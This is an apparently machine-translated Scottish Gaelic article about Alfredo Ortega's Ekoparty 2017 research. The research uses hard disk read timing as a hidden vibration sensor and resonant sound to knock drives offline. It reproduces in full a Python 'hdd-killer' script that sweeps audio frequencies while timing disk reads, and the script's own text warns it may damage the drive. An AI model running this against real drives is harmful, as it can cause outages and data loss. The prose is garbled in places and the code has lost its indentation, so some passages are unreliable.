
Aig co-labhairt tèarainteachd coimpiutair Ekoparty 2017 ann am Buenos Aires, sheall an neach-tarraing Argentine Alfredo Ortega leasachadh fĂŹor inntinneach - siostam airson sreangadh falaichte de thogalaichean gun a bhith a âcleachdadh microfòn. Fuaim !
Bidh an HDD sa mhòr-chuid aâ togail fuaimean tricead ĂŹosal Ă rd, ceumannan-coise agus crith eile. Chan urrainnear cainnt daonna aithneachadh fhathast, ged a tha luchd-saidheans (aithneachadh cainnt le crithean tricead ĂŹosal, a tha air an clĂ radh, mar eisimpleir, bho gyroscope no HDD).
Is e fuaim crathadh èadhair no meadhan eile. Bidh neach gam faicinn tron ââââeardrum, a bhios aâ gluasad crith chun chluais a-staigh. Tha am micreofon air a dhealbhadh gu ĂŹre coltach ri cluais - an seo cuideachd, tha crith air a chlĂ radh le membran tana, a tha aâ togail spionnadh dealain. Tha an cruth cruaidh, gu dearbh, cuideachd fo Ăšmhlachd crithean microscopach mar thoradh air caochlaidhean san adhar mun cuairt. Tha seo aithnichte eadhon bho fheartan teignigeach HDDs: mar as trice bidh luchd-saothrachaidh aâ comharrachadh an ĂŹre crathaidh as Ă irde a tha ceadaichte, agus bidh an draibhear cruaidh fhèin gu tric aâ feuchainn ri a chuir ann an soitheach dĂŹon-chrith air a dhèanamh le rubair no stuth inslitheach eile. Bho seo tha e furasta a cho-dhĂšnadh gum faodar fuaimean a chlĂ radh le HDD. Chan eil air fhĂ gail ach faighinn a-mach ciamar.
Mhol Alfredo Ortega dreach sònraichte de ionnsaigh taobh-seanail, is e sin ionnsaigh Ăšine. Tha an ionnsaigh seo stèidhichte air aâ bharail gun tèid diofar obrachaidhean a dhèanamh air an inneal aig amannan eadar-dhealaichte, a rèir an dĂ ta cuir a-steach a chaidh a thoirt seachad. Anns a 'chĂšis seo, is e an "dĂ ta cuir a-steach" crith a' chinn leughaidh agus an truinnsear HDD, a tha co-cheangailte ri crith na h-Ă rainneachd, is e sin, le fuaim. Mar sin, le bhith aâ tomhas na h-Ăšine Ă ireamhachaidh agus aâ dèanamh mion-sgrĂšdadh staitistigeil air an dĂ ta, faodar crith aâ chinn/phlĂ ta agus mar sin crathadh aâ mheadhain a thomhas. Mar as fhaide an dĂ il ann an leughadh dĂ ta, is ann as lĂ idire a bhios na crithidhean HDD agus, mar sin, mar as Ă irde am fuaim.
Ciamar a thomhas crathadh draibh cruaidh? Gu math sĂŹmplidh: dĂŹreach ruith gairm an t-siostaim read () - agus clĂ raich an Ăšine a bheir e airson a chrĂŹochnachadh. Leigidh siostaman obrachaidh Ăšr-nodha leat Ă m gairmean siostaim a leughadh le mionaideachd nanosecond.
Tha astar leughaidh fiosrachaidh bho roinn an urra ri suidheachadh aâ chinn agus a âphlĂ ta, a tha co-cheangailte ri crithean aâ chĂšis HDD. Sin e.
Tha mion-sgrĂšdadh staitistigeil air a dhèanamh aâ cleachdadh goireas Kscope sĂŹmplidh. Mar a tha iad ag rĂ dh, tha a h-uile dad innleachdach sĂŹmplidh.

Goireas Kscope (stat() syscall)
Is e goireas beag a thâ ann an Kscope airson eadar-dhealachaidhean beaga fhaicinn ann an amannan gnĂŹomh gairm siostaim. Stòr.
Ann an stòr air leth tha dreach den ghoireas air a rèiteachadh airson ionnsaigh Ăšine air aâ chlĂ r chruaidh, is e sin, air a rèiteachadh gus gairm an t-siostaim a sgrĂšdadh read ().
Taisbeanadh de chlĂ radh fuaim aâ cleachdadh HDD, obrachadh goireas Kscope

Gu dearbh, chan urrainnear cainnt a thuigsinn san dòigh seo, ach tha an HDD gu math freagarrach mar sensor crathaidh. Mar eisimpleir, faodaidh tu clĂ radh ma chaidh neach le brògan cruaidh no casruisgte a-steach do rĂšm le coimpiutair (is dòcha, ma tha an neach-ionnsaigh a âcaitheamh sneakers bog no ma tha brat-Ăšrlair tiugh air an lĂ r, cha bhith e comasach don HDD crith a chlĂ radh - is fhiach seo sgrĂšdadh). Tha an coimpiutair comasach air glainne briste no tachartasan eile a chlĂ radh le dian fuaim lĂ idir. Is e sin, faodaidh an cruth cruaidh a bhith na sheòrsa de shiostam lorg sĂ rachadh gun chead.
Geama HDD killer
A rèir coltais, faodar dòigh-obrach coltach ris a chleachdadh gus draibhean cruaidhe a dhĂŹ-chomasachadh. Ach, an seo chan eil sinn aâ glacadh crithidhean bhon HDD, ach an Ă ite sin bidh sinn aâ gineadh crithidhean a thèid a bhiadhadh chun HDD. Ma chluicheas tu claisneachd bho neach-labhairt aig tricead a tha aâ freagairt ri tricead an HDD, dĂšinidh an siostam an inneal a dhâ aithghearr le mearachd I/O (an kernel). Linux (Bidh seo aâ dĂšnadh sĂŹos an diosc cruaidh gu tur an dèidh 120 diogan.) Dhâ fhaodadh an draibh cruaidh fhèin a bhith air a mhilleadh nach gabh a chĂ radh.

An cridhe Linux DhĂšin an draibh cruaidh Ă s dèidh 120 diog de bhith aâ cluich fuaim aig tricead ath-shondach tron ââneach-labhairt USB Edifier r19u. Chaidh an neach-labhairt a thionndadh air aig mu chairteal a chumhachd (nas lugha na 100 mW) agus a shuidheachadh 20 cm bhon HDD, air a chomharrachadh ris aâ bhòrd gus na crithidhean a mheudachadh. Fhathast bho le taisbeanadh den mharbhaiche HDD
Tha e neònach gum bi an leithid de âionnsaigheanâ air HDDn uaireannan aâ tachairt gu tur gun fhiosta ann am beatha lĂ itheil. Mar eisimpleir, san t-Sultain 2016, bâ fheudar do ionad dĂ ta Banca ING stad a chuir air gnĂŹomhachd airson 10 uairean Ă s deidh drile teine. mar thoradh air fuaim Ă rd gas inert a bhith air a leigeil ma sgaoil bho siolandairean fo chuideam Ă rd. Bha am fuaim gu math Ă rd (barrachd air 130 dB), ach chan urrainn dhut eadhon èigheachd air na draibhean cruaidh - tha seo aâ meudachadh an dĂ il ann a bhith aâ faighinn cothrom air an HDD.
Taisbeanadh de sgreuchail daonna aig draibhearan cruaidh ann an ionad dĂ ta. Tomhas latency

Gus am fuaim ath-shuidheachaidh a ghineadh, sgrĂŹobh Alfredo Ortega sgriobt Python ris an canar ().
Tha e gu math beag, agus mar sin faodaidh tu fhoillseachadh gu h-iomlan an seo.
"""PyAudio hdd-killer: Generate sound and interfere with HDD """
"""Alfredo Ortega @ortegaalfredo"""
"""Usage: hdd-killer /dev/sdX"""
"""Where /dev/sdX is a spinning hard-disk drive"""
"""Turn the volume to the max for better results"""
"""Requires: pyaudio. Install with 'sudo pip install pyaudio' or 'sudo apt-get install python-pyaudio'"""
import pyaudio
import time
import sys
import math
import random
RATE=48000
FREQ=50
# validation. If a disk hasn't been specified, exit.
if len(sys.argv) < 2:
print "hdd-killer: Attempt to interfere with a hard disk, using sound.nn" +
"The disk will be opened as read-only.n" +
"Warning: It might cause damage to HDD.n" +
"Usage: %s /dev/sdX" % sys.argv[0]
sys.exit(-1)
# instantiate PyAudio (1)
p = pyaudio.PyAudio()
x1=0
NEWFREQ=FREQ
# define audio synt callback (2)
def callback(in_data, frame_count, time_info, status):
global x1,FREQ,NEWFREQ
data=''
sample=0
for x in xrange(frame_count):
oldsample=sample
sample=chr(int(math.sin(x1*((2*math.pi)/(RATE/FREQ)))*127)+128)
data = data+sample
# continous frequency change
if (NEWFREQ!=FREQ) and (sample==chr(128)) and (oldsample<sample) :
FREQ=NEWFREQ
x1=0
x1+=1
return (data, pyaudio.paContinue)
# open stream using callback (3)
stream = p.open(format=pyaudio.paUInt8,
channels=1,
rate=RATE,
output=True,
stream_callback=callback)
# start the stream (4)
stream.start_stream()
# wait for stream to finish (5)
while stream.is_active():
timeprom=0
c=file(sys.argv[1])
for i in xrange(20):
a=time.clock()
c.seek(random.randint(0,1000000000),1) #attempt to bypass file buffer
c.read(51200)
b=time.clock()
timeprom+=b-a
c.close()
timeprom/=20
print("Frequency: %.2f Hz File Read prom: %f us" % (FREQ,timeprom*1000000))
NEWFREQ+=0.5
# stop stream (6)
stream.stop_stream()
stream.close()
# close PyAudio (7)
p.terminate()Source: www.habr.com
